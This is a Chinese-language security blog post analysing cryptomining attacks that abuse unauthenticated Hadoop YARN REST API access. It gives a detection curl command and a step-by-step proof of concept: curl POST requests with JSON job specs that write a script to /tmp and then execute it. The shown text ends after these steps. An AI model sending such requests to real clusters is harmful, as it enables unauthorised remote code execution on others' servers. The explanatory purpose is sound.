Hadoop Yarn REST API未授權漏洞利用挖礦分析
阿新 • • 發佈:2021-06-25
一、背景
5月5日騰訊雲安全團隊曾針對“攻擊者利用Hadoop Yarn資源管理系統REST API未授權漏洞對伺服器進行攻擊,攻擊者可以在未授權的情況下遠端執行程式碼”的安全問題進行預警,在預警的前後我們曾多次捕獲相關的攻擊案例,其中就包含利用該問題進行挖礦,我們針對其中一個案例進行分析並提供響應的安全建議和解決方案。
二、漏洞說明
Hadoop是一個由Apache基金會所開發的分散式系統基礎架構,YARN是hadoop系統上的資源統一管理平臺,其主要作用是實現叢集資源的統一管理和排程,可以把MapReduce計算框架作為一個應用程式執行在YARN系統之上,通過YARN來管理資源。簡單的說,使用者可以向YARN提交特定應用程式進行執行,其中就允許執行相關包含系統命令。
YARN提供有預設開放在8088和8090的REST API(預設前者)允許使用者直接通過API進行相關的應用建立、任務提交執行等操作,如果配置不當,REST API將會開放在公網導致未授權訪問的問題,那麼任何黑客則就均可利用其進行遠端命令執行,從而進行挖礦等行為。
檢測方法
curl http://node01:8088/ws/v1/cluster
返回類似如下內容則有可能被攻擊
攻擊步驟
1、申請新的application
直接通過curl進行POST請求
通過REST API提交任務,向/tmp目錄輸出接下來要執行的指令碼內容
curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @setup.json
setup.json
{
"am-container-spec":{
"commands":{
"command":"echo 'echo 11 > /tmp/time_1.sh' > /tmp/setup.sh"
}
},
"application-id":"application_1621418758341_0210",
"application-name":"setup",
"application-type":"YARN"
}
在伺服器的tmp目錄下檢視,已經生成該指令碼
再次提交任務,執行該指令碼
curl -H "Accept: application/json" -H "Content-Type: application/json" http://node01:8088/ws/v1/cluster/apps -X POST --data-binary @exec.json
exec.json
{
"am-container-spec":{
"commands":{
"command":"sh /tmp/setup.sh"
}
},
"application-id":"application_1621418758341_0211",
"application-name":"exec",
"application-type":"YARN"
}
在伺服器上的指令碼已經執行並輸出指定內容